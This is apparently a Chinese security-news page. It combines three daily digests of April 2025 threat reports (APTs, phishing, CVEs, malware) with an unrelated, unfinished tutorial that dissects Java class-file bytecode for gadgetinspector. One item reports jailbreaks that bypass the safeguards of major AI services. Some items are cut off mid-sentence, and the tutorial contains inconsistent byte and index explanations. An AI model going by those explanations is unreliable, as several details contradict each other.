https://thehackernews.com/2025/04/earth-kurma-targets-southeast-asia-with.html 2025年4月28日,研究人员披露,一个名为“Earth Kurma”的高级持续性威胁(APT)组织自2024年6月起针对东南亚多国政府及电信部门发起攻击。该组织使用定制化恶意软件、内核级Rootkit及云存储服务窃取数据,菲律宾、越南、泰国和马来西亚为主要受害国。研究人员指出,攻击者通过Rootkit维持持久驻留,并利用受信任的云平台外泄数据,构成严重商业风险,且攻击手法复杂,涉及定向间谍活动、凭证窃取及隐蔽数据渗透。
2、研究人员发现针对WooCommerce用户的大规模钓鱼攻击
https://thehackernews.com/2025/04/woocommerce-users-targeted-by-fake.html 2025年4月28日,研究人员发现针对WooCommerce用户的大规模钓鱼攻击。攻击者通过伪造的“安全警报”邮件,诱骗用户下载所谓“关键补丁”,实则植入后门程序。钓鱼邮件声称目标网站存在虚构的“未授权管理访问漏洞”,诱导用户访问伪装成WooCommerce官网的钓鱼页面。
3、黑客在暗网出售高级版HiddenMiner挖矿木马
https://cybersecuritynews.com/hackers-selling-advanced-stealthy-hiddenminer-malware/ 2025年4月28日,研究人员发现黑客组织正在暗网论坛出售高级版HiddenMiner恶意软件。该木马专门针对门罗币(XMR)进行隐蔽挖矿,采用高级规避技术并配备用户友好界面,可能降低网络犯罪的技术门槛。与普通挖矿木马不同,新版HiddenMiner通过多项技术优化实现更高收益,同时大幅降低被检测和清除的风险。其模块化设计允许攻击者自定义功能,包括进程隐藏、反分析和持久化机制。
4、黑客利用Critical Craft CMS漏洞致数百台服务器被入侵
https://thehackernews.com/2025/04/hackers-exploit-critical-craft-cms.html 2025年4月28日,研究人员披露,攻击者正在利用Craft CMS中两个新发现的高危漏洞(CVE-2024-58136和CVE-2025-32432)发起零日攻击,可能导致数百台服务器遭入侵。这两个漏洞中,CVE-2024-58136是Yii PHP框架的路径保护缺陷,而CVE-2025-32432是Craft CMS内置图像转换功能中的远程代码执行漏洞。攻击者通过组合利用这两个漏洞,可突破系统限制并执行任意代码。
5、云端部署的NVIDIA Riva API端点存在暴露风险
https://www.trendmicro.com/en_us/research/25/d/nvidia-riva-vulnerabilities.html 2025年4月28日,研究人员发现多个组织在云端部署的NVIDIA Riva API端点存在暴露风险,部分实例甚至未启用身份验证,可能被攻击者利用。研究人员确认了两个相关漏洞(CVE-2025-23242和CVE-2025-23243),错误配置可能导致未经授权的访问。
https://www.trendmicro.com/en_us/research/25/d/nvidia-riva-vulnerabilities.html 6、FastCGI存在嵌入式设备执行任意代码漏洞
https://cybersecuritynews.com/fastcgi-integer-overflow-flaw/ 2025年4月28日,研究人员披露FastCGI库中存在一个高危漏洞(CVE-2025-23016,),可能允许攻击者在嵌入式设备上执行任意代码。该漏洞影响fcgi2(又称fcgi)2.x至2.4.4的所有版本,对使用该轻量级Web服务器开发库的设备构成重大威胁。FastCGI作为广泛应用于嵌入式系统的Web开发接口,其漏洞可能影响路由器、物联网设备等关键基础设施。
7、 新型"电力寄生虫"网络钓鱼攻击瞄准能源企业与知名品牌
https://cybersecuritynews.com/new-power-parasites-phishing-attack/ "电力寄生虫"网络钓鱼活动冒充西门子等能源巨头,通过虚假投资和招聘骗局,利用150+域名和多语言策略针对亚洲用户,窃取财务数据。攻击采用统一模板和共享基础设施,YouTube和Telegram也被利用传播。
8、mavinject.exe遭利用,黑客绕过安全防线入侵系统
https://www.anquanke.com/post/id/306961 威胁行为者越来越多地利用 mavinject.exe(一款 Microsoft 的合法工具)来绕过安全控制并入侵系统。这种复杂的攻击技术使黑客能够将恶意活动隐藏在受信任的 Windows 进程背后。
9、Storm-1977 使用 AzureChecker 对教育云进行挖矿攻击
https://thehackernews.com/2025/04/storm-1977-hits-education-clouds-with.html 微软透露,名为 Storm-1977 的威胁行为者在过去一年对教育领域的云租户进行了密码喷洒攻击。微软威胁情报团队在分析中表示,“该攻击涉及使用 AzureChecker.exe,这是一个命令行界面(CLI)工具,被广泛使用的各种威胁行为者所使用。”
10、Viasat 调制解调器零日漏洞使攻击者能够执行远程代码
https://gbhackers.com/viasat-modems-zero-day-vulnerabilities/ 在多个 Viasat 卫星调制解调器型号中发现了一个严重的零日漏洞,包括 RM4100、RM4200、EM4100、RM5110、RM5111、RG1000、RG1100、EG1000 和 EG1020。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2025年04月28日
1、"Power Parasites"钓鱼攻击瞄准全球能源巨头
https://cybersecuritynews.com/new-power-parasites-phishing-attack/ 2025年4月26日,研究人员披露名为“Power Parasites”的长期钓鱼攻击活动,该活动自2024年起持续针对西门子能源、施耐德电气、EDF能源等全球能源巨头及知名品牌。攻击者注册了150多个仿冒域名,通过虚假投资平台和高薪职位诱骗受害者,主要覆盖亚洲多国(孟加拉、尼泊尔、印度等),并采用多语言提升欺骗性。投资诈骗以“高回报能源项目”为饵,而招聘诈骗则伪造名企职位,诱骗受害者提交银行账户、身份证件等敏感信息。
2、Ruby服务器组件漏洞可致数据泄露
https://thehackernews.com/2025/04/researchers-identify-rackstatic.html 2025年4月25日,研究人员披露了Ruby服务器接口Rack::Static中的三个高危漏洞(CVE-2025-27610、CVE-2025-27111、CVE-2025-25184),攻击者可利用这些漏洞窃取敏感文件、注入恶意数据并篡改日志。其中最严重的CVE-2025-27610允许未授权攻击者通过路径遍历访问服务器根目录下的任意文件,包括配置文件、凭证等机密数据。另外两个漏洞涉及CRLF注入,可被用于伪造日志记录或植入恶意代码,掩盖攻击痕迹。若
3、黑客利用SAP NetWeaver漏洞实现远程代码执行
https://thehackernews.com/2025/04/sap-confirms-critical-netweaver-flaw.html 2025年4月25日,研究人员证实,黑客正在利用SAP NetWeaver中新发现的漏洞(CVE-2025-31324)上传恶意JSP WebShell,来实现未授权的文件上传和远程代码执行。该漏洞最初被怀疑是远程文件包含(RFI)问题,但经确认,实为无限制文件上传漏洞,允许攻击者绕过认证直接向系统上传恶意文件。研究人员在4月22日的调查报告中首次披露了相关恶意活动,并观察到攻击者利用该漏洞部署了Brute Ratel框架等高级攻击工具。
4、Plant工业交换机存在可被控制设备的漏洞
2025年4月26日,研究人员披露了普莱德科技多款工业交换机和网络管理系统的高危漏洞,攻击者可利用这些漏洞完全控制设备。此次调查起因是美国网络安全与基础设施安全局(CISA)在2024年12月发布的漏洞预警。研究团队通过分析WGS-80HPT-V2和WGS-4215-8T2S等型号设备的固件,发现除CISA已通报的漏洞外,还存在多个未公开的严重缺陷。这些漏洞涉及设备远程管理接口,可能允许攻击者绕过认证、执行任意代码或窃取敏感数据。
https://hackread.com/planet-technology-industrial-switch-flaws-full-takeover/ 5、RustoBot僵尸网络恶意软件威胁网络安全
https://www.anquanke.com/post/id/306930 一种使用 Rust 编程语言编写的复杂新型僵尸网络恶意软件已被发现,其目标是全球范围内存在漏洞的路由器设备。由于该恶意软件是基于 Rust 语言编写的,因此被命名为 “RustoBot”。它利用了 TOTOLINK 和 DrayTek 路由器型号中的严重漏洞来执行远程命令注入,这有可能影响到日本、越南和墨西哥的科技产业。
6、SonicWall SSLVPN高危漏洞无需认证即可致防火墙崩溃
https://www.anquanke.com/post/id/306910 SonicWall 已披露其 SSL 虚拟专用网络(SSLVPN)服务中存在一个严重的安全漏洞,该漏洞允许未经身份验证的远程攻击者使受影响的防火墙设备崩溃,这有可能对企业网络造成重大干扰。该漏洞编号为 CVE-2025-32818,通用漏洞评分系统(CVSS)评分为 7.5,属于高严重性等级,影响运行特定固件版本的众多 SonicWall 防火墙型号。
7、MITRE ATT&CK v17.0发布 新增ESXi攻击战术
https://attack.mitre.org/resources/updates/updates-april-2025/ MITRE发布了ATT&CK框架最新版本v17.0,新增专门针对VMware ESXi虚拟化平台的攻击战术、技术与程序(TTPs)矩阵。该矩阵详细梳理了攻击者针对ESXi管理程序的典型攻击手法。
8、蚂蚁集团等16家互联网平台签署网络数据安全自律公约
https://www.freebuf.com/news/428930.html 近日,在第二届武汉网络安全创新论坛的个人信息保护分论坛上,在中国网络空间安全协会的组织下,蚂蚁集团、阿里巴巴、美团、腾讯、微博、京东、百度、滴滴出行、拼多多、科大讯飞等16家平台型企业共同签署了《网信企业网络数据安全自律公约》,旨在积极落实数据安全和个人信息保护责任,提升网络数据安全风险管理水平。
9、新型越狱攻击可突破ChatGPT、Gemini等主流AI服务防护
https://www.freebuf.com/news/428850.html 研究人员最新发现的两项越狱技术暴露了当前主流生成式AI服务的安全防护存在系统性漏洞,受影响平台包括OpenAI的ChatGPT、谷歌的Gemini、微软的Copilot、深度求索(DeepSeek)、Anthropic的Claude、X平台的Grok、MetaAI以及MistralAI。
10、朝鲜Lazarus APT组织利用"one-day漏洞"攻击全球机构
https://www.freebuf.com/articles/ics-articles/428802.html 网络安全专家发现,朝鲜政府支持的Lazarus APT(高级持续性威胁)组织正在对全球关键基础设施和金融机构发起复杂攻击活动。该组织改变策略,利用企业尚未及时修复的"一日漏洞"(one-day vulnerabilities)实施攻击。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2025年04月27日
1、Lazarus组织针对韩国企业发起“水坑攻击”
https://www.bleepingcomputer.com/news/security/lazarus-hackers-breach-six-companies-in-watering-hole-attacks/ 2025年4月24日,研究人员披露,朝鲜黑客组织Lazarus在2024年11月至2025年2月期间针对韩国软件、IT、金融、半导体制造及电信行业发起代号为“Operation SyncHole”的水坑攻击。攻击者利用韩国广泛使用的文件传输客户端漏洞,植入恶意代码入侵至少六家机构。研究人员指出,由于该软件在韩国的普及性,实际受害企业可能更多。尽管漏洞在攻击前已被厂商知晓,但L
2、攻击者利用Ivanti零日漏洞在日本部署恶意软件
https://thehackernews.com/2025/04/dslogdrat-malware-deployed-via-ivanti.html 2025年4月25日,研究人员披露,攻击者利用Ivanti Connect Secure(ICS)的零日漏洞(CVE-2025-0282)在日本部署新型恶意软件DslogdRAT及一个WebShell。据研究报告表示,该漏洞在2024年12月被用于针对日本机构的攻击,攻击者可借此实现未授权远程代码执行。Ivanti已于2025年1月初发布补丁修复该漏洞。目前,受影响机构需排查历史日志以确认是否遭入侵。
3、黑客利用配置不当的K8s集群部署挖矿软件
https://cybersecuritynews.com/threat-actors-taking-advantage-of-unsecured-kubernetes-clusters/ 2025年4月24日,研究人员发现,黑客正大规模利用配置不当的Kubernetes(K8s)集群部署加密货币挖矿恶意软件。攻击者通过弱密码爆破、认证绕过等方式入侵集群,创建非法容器并劫持受害组织的计算资源进行门罗币(Monero)等加密货币挖矿。此类攻击不仅导致企业云资源成本激增,还可能影响关键业务应用的性能。
4、美国医疗机构遭勒索攻击致近百万患者数据泄露
https://www.bleepingcomputer.com/news/security/frederick-health-data-breach-impacts-nearly-1-million-patients/ 2025年4月24日,美国马里兰州大型医疗机构Frederick Health披露,其于1月27日遭受勒索软件攻击,导致近百万患者敏感信息泄露,泄露数据包括患者姓名、住址、出生日期、社会安全号码、驾照号码、医疗保险信息及临床诊疗记录。Frederick Health在3月底向患者发出通知,并联合执法部门及第三方取证公司展开调查,但未透露是否支付赎金或攻击者身份。
5、研究人员披露Redis存在高危拒绝服务漏洞
https://gbhackers.com/redis-dos-flaw/ 2025年4月24日,研究人员披露,Redis开源数据库被发现存在高危拒绝服务漏洞(CVE-2025-21605),影响2.6及以后所有版本。攻击者可利用未受限制的输出缓冲区,通过未授权请求耗尽服务器内存或直接导致服务崩溃。官方已在6.2.18、7.2.8和7.4.3版本中发布修复补丁。鉴于Redis在缓存、会话管理等关键业务中的广泛应用,建议立即升级至安全版本。
6、代号为ToyMaker的勒索组织开展双重勒索攻击
https://thehackernews.com/2025/04/toymaker-uses-lagtoy-to-sell-access-to.html 2025年4月26日,研究人员披露,一个代号为ToyMaker的初始访问中介(IAB)正通过定制恶意软件LAGTOY(又名HOLERUN)入侵企业网络,并将访问权限转售给CACTUS等实施双重勒索的勒索软件组织。该恶意软件具备反向Shell连接及远程命令执行能力,使攻击者能完全控制受感染终端。ToyMaker主要出于经济利益,专门扫描并利用系统漏洞建立初始入侵点,为下游勒索攻击铺路。
7、英国零售巨头玛莎百货(M&S)因网络攻击停摆
https://www.infosecurity-magazine.com/news/ms-shuts-down-online-orders/ 2025年4月25日,英国零售巨头玛莎百货(M&S)因遭遇网络安全事件,宣布暂停其官网(M&S.com)及移动应用的在线订单服务,恢复时间尚未确定。该公司未透露具体攻击细节,但此举可能是由于后端系统遭受入侵,需全面排查影响范围。目前尚不清楚攻击是否涉及数据泄露或勒索软件,但该事件已对消费者在线购物造成直接影响。
8、Commvault被发现可致远程接管漏洞
https://hackread.com/critical-commvault-flaw-allows-full-system-takeover/ 2025年4月25日,企业级备份解决方案Commvault Command Center曝出高危漏洞(CVE-2025-34028),攻击者可利用该漏洞在未认证的情况下远程执行任意代码,完全控制目标系统。漏洞存在于deployWebpackage.do接口,因对外部服务器交互缺乏严格验证,导致预认证SSRF攻击风险。目前Commvault已发布补丁,建议使用Innovation Release版本的企业立即更新。
9、钓鱼即服务平台Darcula引入生成式AI 大幅降低网络犯罪门槛
https://thehackernews.com/2025/04/darcula-adds-genai-to-phishing-toolkit.html 网络安全公司Netcraft报告显示,钓鱼平台Darcula新增生成式AI功能,可快速创建多语言钓鱼页面,大幅降低犯罪门槛。该平台已关联全球超2.5万次攻击,使无技术背景者也能轻松发动大规模网络诈骗。
10、微软悬赏最高3万美元征集AI系统漏洞
https://www.bleepingcomputer.com/news/microsoft/microsoft-now-pays-up-to-30-000-for-some-ai-vulnerabilities/ 微软将Dynamics 365和Power Platform的AI漏洞赏金最高提至3万美元,涵盖推理操纵等关键漏洞,奖励基于严重性和提交质量。此前已支付600万美元奖金,并扩展AI安全研究激励措施。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
从字节码开始到ASM的gadgetinspector源码解析
Intro
目前在CTF比赛中,对于Java反序列化基本上靠codeql、tabby等工具分析利用链,tabby基于字节码的特性会更准确一些。而gadgetinspector作为一个有些年头的基于ASM对字节码进行分析的自动化反序列化链挖掘工具,虽然在实际场景使用中用到的不算很多,但是经过一些功能上的补足和二开后也提高了一部分的准确率。我们主要通过二开后的gadgetinspector来学习一下作者是如何通过ASM来对字节码进行处理并跟踪污点流进行分析。在分析gadgetInspector之前,我们要先对字节码的相关结构有一些了解,所以我们可以按照字节码的固定架构使用十六进制编辑器查看一下字节码中到底存
二开后的GadgetInspector:https://github.com/threedr3am/gadgetinspector
字节码分析
我们以如下类进行分析:
package com.y1zh3e7.Test;
public class ClassTest {
public static void main(String[] args) {
String sayHello = "Hello World!";
}
}
编译后class文件扔到hex编辑器里查看十六进制方便分析:
CA FE BA BE 00 00 00 34 00 18 0A 00 04 00 14 08 00 15 07 00 16 07 00 17 01 00 06 3C 69 6E 69 74 3E 01 00 03 28 29 56 01 00 04 43 6F 64 65 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61 62 6C 65 01 00 12 4C 6F 63 61 6C 56 61 72 69 61 62 6C 65 54 61 62 6C 65 01 00 04 74 68 69 73 01 00 1C 4C 63 6F 6D 2F
class文件结构如下
0x01 魔术头 Magic Number-4Byte
class文件的魔术头为四字节并且值固定,可以看到为如下内容,这个十六进制表达还是挺有意思的
CA FE BA BE
0x02 版本号 Version-2+2Byte
十六进制对应内容为
00 00 00 34
前面的0000为次版本号,后面的0034为主版本号,0x0034对应十进制为52,对应版本为jdk1.8,对应的我IDEA中的jdk版本也是1.8
0x03 常量池 Constant Pool-2+nByte
常量池的2+n指的是两字节的常量数量,加上nByte的常量内容,常量池存储如下内容:
接下来我们继续分析十六进制并以此说明:
首先的两个字节代表常量数量,0x0018转换为十进制为24。这里需要注意的是,常量池的常量索引并不是从0开始而是从1开始,因此24表示常量池中共有23个常量,索引以此为1-23,并且在.class文件中,只有常量池的下标是从0开始,后面的接口、属性、方法等下表依然都是从0开始计数:
00 18
CONSTANT-1
根据上面的表格,我们可以发现不论是何种类型的常量,都是以u1(1字节)的tag位作为起始,因此我们向下读取一字节,为第一个常量的tag,为0x0A:
0A
0x0A对应十进制10,我们在表格中寻找值为10的索引,可以找到该常量类型为CONSTANT_Methodref_info,并且接下来还分别有两个u2的index,我们继续向下读取两个字节,则对应表格中指向声明方法的类描述符的索引项,这些东西的作用我们到后面就会知道了,先继续往下看
00 04
继续向下读取两个字节,对应指向名称及类型描述符索引项,值为20
00 14
constant#1:
0x0a:Methodref_info
0x00 04:Class_info索引项#4
0x00 14:NameAndType索引项#20
CONSTANT-2
向下读取1B,即为第二个常量的TAG位,值为08,对应表格中CONSTANT_Fieldref_info,依旧是两个u2的index
constant#2:
0x08:String_info
0x00 15::指向字符串字面量#21
CONSTANT-3
0x07:Class_info
0x00 16:全局限定名常量项索引#22
CONSTANT-4
0x07:Class_info
0x00 17:全局限定名常量项索引#23
CONSTANT-5
0x01:Utf8_info
0x00 06:字符串长度为6
0x3C 69 6E 69 74 3E:字符串<init>
CONSTANT-6
0x01:Utf8-info
0x00 03:字符串长度为3
0x28 29 56:字符串()V
CONSTANT-7
0x01:Utf8-info
0x00 04:字符串长度为4
0x43 6F 64 65:字符串Code
CONSTANT-8
0x01:Utf8-info
0x00 0F:字符串长度为15
0x4C 69 6E 65 4E 75 6D 62 65 72 54 61 62 6C 65:字符串LineNumberTable
CONSTANT-9
0x01:Utf8-info
0x00 12:字符串长度为18
0x4C 6F 63 61 6C 56 61 72 69 61 62 6C 65 54 61 62 6C 65:字符串LocalVariableTable
CONSTANT-10
0x01:Utf8-info
0x00 04:字符串长度为4
0x74 68 69 73:字符串this
CONSTANT-11
0x01:Utf8-info
0x00 1C:字符串长度为28
0x4C 63 6F 6D 2F 79 31 7A 68 33 65 37 2F 54 65 73 74 2F 43 6C 61 73 73 54 65 73 74 3B:字符串Lcom/y1zh3e7/Test/ClassTest;
CONSTANT-12
0x01:Utf8-info
0x00 04:字符串长度为4
0x6D 61 69 6E:字符串main
CONSTANT-13
0x01:Utf8-info
0x00 16:字符串长度为22
0x28 5B 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 29 56:字符串([Ljava/lang/String;)V
CONSTANT-14
0x01:Utf8-info
0x00 04:字符串长度为4
0x61 72 67 73:字符串args
CONSTANT-15
0x01:Utf8-info
0x00 13:字符串长度为19
0x5B 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B:字符串[Ljava/lang/String;
CONSTANT-16
0x01:Utf8-info
0x00 08:字符串长度为8
0x73 61 79 48 65 6C 6C 6F:字符串sayHello
CONSTANT-17
0x01:Utf8-info
0x00 08:字符串长度为18
0x4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B:字符串Ljava/lang/String;
CONSTANT-18
0x01:Utf8-info
0x00 0A:字符串长度为10
0x53 6F 75 72 63 65 46 69 6C 65:字符串SourceFile
CONSTANT-19
0x01:Utf8-info
0x00 0A:字符串长度为14
0x43 6C 61 73 73 54 65 73 74 2E 6A 61 76 61:字符串ClassTest.java
CONSTANT-20
0x0C:NameAndType_info
0x00 05:字段或方法名常量项索引#5
0x00 06:字段或方法描述符常量索引#6
CONSTANT-21
0x01:Utf8-info
0x00 0C:字符串长度为12
0x48 65 6C 6C 6F 20 57 6F 72 6C 64 21:字符串Hello World!
CONSTANT-22
0x01:Utf8-info
0x00 1A:字符串长度为26
0x63 6F 6D 2F 79 31 7A 68 33 65 37 2F 54 65 73 74 2F 43 6C 61 73 73 54 65 73 74:字符串com/y1zh3e7/Test/ClassTest
CONSTANT-23
0x01:Utf8-info
0x00 10:字符串长度为16
0x6A 61 76 61 2F 6C 61 6E 67 2F 4F 62 6A 65 63 74:字符串java/lang/Object
0x04 访问标志位 Access Flags-2Byte
访问标志位包括一个class文件的属性(如是类还是接口,是否被定义成public,是否是abstract,是否是final)
我们向下读取两个Byte0x0021,代表的是0x0020和0x0001的集合,意思是该类为public,并且继承object(0x06父类索引)
0x05 类索引-2Byte
类索引可以确定类的全局限定名称,我们读取两个字节为0x00 03,对应常量池第三个常量CONSTANT-3,可以发现CONSTANT-3:0x00 16:全局限定名常量项索引#22,所以继续去CONSTANT-22查找对应常量,得到全局限定类名com/y1zh3e7/Test/ClassTest
0x06 父类索引-2Byte
0X00 04,对应CONSTANT-4,0x00 17:全局限定名常量项索引#23,对应java/lang/Object
0X07 接口索引-2+n
2+n依旧指两个字节代表接口数量,n代表接口表,我们向下读取两个字节0X00 00,即接口数量为0,自然也没有n了
0x08 字段表集合-2+nByte
字段表中包含了类中声明的变量,以及实例化后的变量,但是不包括方法内声明的局部变量,因此继续向下读取两个字节,可以发现也是0x00 00,因为我们的变量是定义在psvm中,如果将代码修改如下:
public class ClassTest {
String sayHello = "Hello World!";
}
那么此处的2byte则为0x00 01
0x09 方法-2+nByte
继续读取2Byte,0X00 02,说明我们的类中有两个方法,但是代码中我们明明只有一个方法psvm,其实是因为除了接口和抽象类,在javac时会自动生成一个无参构造,我们可以反编译看到他,也可以javap后看到这个构造器:
{
public com.y1zh3e7.Test.ClassTest();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
LineNumberTable:
line 3: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this Lcom/y1zh3e7/Test/ClassTest;
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=2, args_size=1
0: ldc #2 // String Hello World!
2: astore_1
3: return
LineNumberTable:
line 5: 0
line 6: 3
LocalVariableTable:
Start Length Slot Name Signature
0 4 0 args [Ljava/lang/String;
3 1 1 sayHello Ljava/lang/String;
}
我们继续向下读取两个方法,方法表结构如下:
method_info {
u2 access_flags;
u2 name_index;
u2 descriptor_index;
u2 attributes_count;
attribute_info attributes[attributes_count];
}
构造方法解析
我们按照格式来读取第一个方法:0x00 01,访问标志位,代表public方法,给出以下访问标志控制符掩码解析:
十六进制值 名称 说明
0x0001 ACC_PUBLIC 方法为 public 权限
0x0002 ACC_PRIVATE 方法为 private 权限
0x0004 ACC_PROTECTED 方法为 protected 权限
0x0008 ACC_STATIC 方法为 static 静态方法
0x0010 ACC_FINAL 方法为 final(不可被覆盖)
0x0020 ACC_SYNCHRONIZED 方法为 synchronized(同步方法)
0x0040 ACC_BRIDGE 方法是由编译器生成的桥接方法(用于泛型类型擦除)
0x0080 ACC_VARARGS 方法接受可变参数(如 String... args)
0x0100 ACC_NATIVE 方法为 native(由本地代码实现)
0x0400 ACC_ABSTRACT 方法为 abstract(抽象方法,无实现)
0x0800 ACC_STRICT 方法为 strictfp(严格浮点模式)
0x1000 ACC_SYNTHETIC 方法是由编译器生成的(如默认构造方法、枚举类的 values() 方法等)
控制符可以组合使用,如
public static 方法:0x0001 (ACC_PUBLIC) | 0x0008 (ACC_STATIC) = 0x0009
private final synchronized 方法:0x0002 | 0x0010 | 0x0020 = 0x0032
其中某些标志不能同时存在(如 public、private、protected 只能三选一)。
0x00 05,name_index代表方法索引名,我们去CONSTANT-5进行查找为<init>,这是字节码中对构造方法的专用描述。
0x00 06,方法描述符索引。查找CONSTANT-6,为()V。方法描述符的语法是 (参数类型)返回类型,其中 V 表示 void(即无返回值)。():表示方法没有参数。V:表示方法的返回类型为 void。
为什么构造方法的返回类型是 void?虽然构造方法在 Java 语法中没有显式返回值,但在字节码层面,构造方法的返回类型被标记为 void。实际上,构造方法隐式返回构造的实例对象(this),但这一过程由 JVM 自动处理,不需要在描述符中体现。
0x00 01,attributes_count,这里引入属性表的概念。属性表可以描述方法的专有信息,这里则代表了该方法的属性表数量为一个。
通用属性表结构如下:
attribute_info { u2 attribute_name_index; u4 attribute_length; u1 info[attribute_length];}
根据通用属性表结构,我们读取一个u2,0x00 07到CONSTANT-7中查找,发现是Code。
在 JVM 的 .class 文件中,Code、LineNumberTable、LocalVariableTable 和 SourceFile 是类文件属性的重要组成部分,分别用于描述方法的行为、调试信息、局部变量与源码的映射关系,以及源码文件的元数据。
Code属性:
Code 属性是方法表(method_info)中的核心属性,作用如下:
存储字节码:包含方法的具体指令(如 aload_0, invokespecial 等)。
定义执行环境:通过 max_stack 和 max_locals 告诉 JVM 如何分配栈帧内存。
异常处理:通过 exception_table 定义 try-catch 块的范围和异常类型。
关联调试信息:通过子属性(如 LineNumberTable)将字节码与源码关联。
Code属性结构如下:
Code_attribute {
u2 attribute_name_index;
u4 attribute_length;
u2 max_stack;
u2 max_locals;
u4 code_length;
u1 code[code_length];
u2 exception_table_length;
{ u2 start_pc;
u2 end_pc;
u2 handler_pc;
u2 catch_type;
} exception_table[exception_table_length];
u2 attributes_count;
attribute_info attributes[attributes_count];
}
继续读取一个u4,attribute_length,0x0000002F代表接下来的47个字节为Code属性的指令字节码。
读取一个u2,0x00 01,max_stack,代表操作数栈最大深度1,一会我们在分析字节码指令时就知道这是什么意思了。
0X00 01,max_locals,代表方法的局部变量表大小为1,局部变量为this,因为所有实例方法(非静态方法)和构造方法的第一个局部变量槽位(索引 0)都存储了当前对象的引用(即 this)。这是 JVM 的隐式规则,无需在代码中显式声明,因此在psvm这个静态方法中就不会包含this了。此外如果该构造方法为有参构造,那么max_locals数量会+n(参数列表的参数数量)
0x00 00 00 05,code_length为指令长度,也就是说接下来的五个字节为指令。
2A B7 00 01 B1,我们分别来分析这几条指令的作用。2A对应指令aload_0,用于加载局部方法表中的参数到操作数栈中,因此这一步会将this加载到操作数栈上。B7 对应指令invokespecial ,00 01对应CONSTANT-1,即调用父类构造方法。B1对应指令return,方法返回。
0x00 00,exception_table_length,代表异常表为空。
0x00 02,attributes_count,代表该Code属性中还包含了两个子属性。
0x00 08,对应CONSTANT-8,LineNumberTable,则说明该子属性为一个LineNumberTable。
LineNumberTable 属性:
Code 属性的子属性,记录 字节码偏移量 与 源码行号 的映射关系,作用如下:
调试支持:在 IDE 或异常堆栈中显示源码行号(如 Exception in thread "main" java.lang.NullPointerException at Test.java:12)。
反编译辅助:帮助工具(如 javap)生成更易读的反编译结果。
优化限制:若省略此属性,JIT 编译器可能无法进行某些优化(如基于行号的 Profiling)。
LineNumberTable属性结构如下:
LineNumberTable_attribute { u2 attribute_name_index; u4 attribute_length; u2 line_number_table_length; { u2 start_pc; u2 line_number; } line_number_table[line_number_table_length];}
0x00 00 00 06,attribute_length,代表接下来的六字节为属性。
00 01,line_number_table_length为1,代表了下面的line_number_table长度为1。
每个line_number_table包含两个字段,0x00 00对应start_pc,0x00 03对应line_number,这两个字段负责将字节码偏移量与源码行数进行映射,start_pc对应字节码偏移量,line_number对应源码行数,因此0003意思是将第0行开始的字节码指令全部与第三行源码进行对应。如果line_number_table长度不为1,还会有多个start_pc来负责映射字节码指令和源码的关系。比如如果还有一组start_pc=3,line_number=4,那么两组映射关系意思是字节码偏移量0-2对应源码第三行,字节码偏移量3及之后的指令对应源码第四行。
我们继续向下读取第Code的第二个子属性,0x00 09,对应CONSTANT-9,LocalVariableTable。
LocalVariableTable属性:
Code 属性的子属性,记录 局部变量名、类型 及其在局部变量表中的 槽位 和作用域,作用如下:
调试支持:在 IDE 中显示局部变量名和值(如调试时查看 sayHello 变量的内容)。
反射支持:通过 Method.getParameters() 获取参数名(需编译时启用 -parameters 选项)。
反编译辅助:帮助反编译器还原变量名(否则变量名会变成 var1, var2)。
LocalVariableTable属性结构如下:
LocalVariableTable_attribute {
u2 attribute_name_index;
u4 attribute_length;
u2 local_variable_table_length;
{ u2 start_pc;
u2 length;
u2 name_index;
u2 descriptor_index;
u2 index;
} local_variable_table[local_variable_table_length];
}
0x00 0000 0C,attribute_length,代表接下来12字节为属性长度。
0x00 01,代表一个局部变量条目,因此下面的local_variable_table[1]中即为描述局部变量this的相关信息。0x00 00,start_pc,代表this的作用域从字节码偏移量0开始,作用域覆盖0x00 05length,共五个字节。
0x00 0A,name_index,指向CONSTANT-10,局部变量名为this。
0x00 0B,类的全局限定名,指向CONSTANT-11,Lcom/y1zh3e7/Test/ClassTest
0x00 00,index,指该局部变量存储在局部变量表的槽位 0(实例方法的 this 固定占用槽位 0)
main方法解析
0x00 09:访问标志,0x01和0x08的集合,即public static。
0x00 0C:name_index,指向CONSTANT-12,类名main,
0x00 0D:descriptor_index,指向CONSTANT-13,([Ljava/lang/String;)V,方法接收参数为String,返回类型为viod。
0x00 01:attributes_count,属性数量为1。
继续解析属性:
字段十六进制值十进制值/说明attribute_name_index00 07指向常量池第 7 项("Code")attribute_length00 00 00 3C属性总长度:60 字节max_stack00 01操作数栈最大深度:1max_locals00 02局部变量表大小:2(args 和 sayHello)code_length00 00 00 04字节码长度:4 字节字节码12 02 4C B1指令解析:12 02ldc #2(加载常量 "Hello World!")4Castore_1(存储到局部变量 1)B1return(方法返回)exception_table_length
子属性 1:LineNumberTable
字段十六进制值说明attribute_name_index00 08常量池第 8 项("LineNumberTable")attribute_length00 00 00 0A长度 10 字节line_number_table_length00 022 个行号条目条目 1:start_pc00 00字节码偏移 0 → 源码第 5 行条目 1:line_number00 05条目 2:start_pc00 03字节码偏移 3 → 源码第 6 行条目 2:line_number00 06
子属性 2:LocalVariableTable
